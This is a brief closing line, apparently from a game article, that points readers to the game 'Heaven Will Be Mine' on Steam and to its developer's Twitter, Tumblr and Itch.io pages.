You can find Heaven Will Be Mine on Steam. You can also check out the developer’s Twitter, Tumblr, and Itch.io page!

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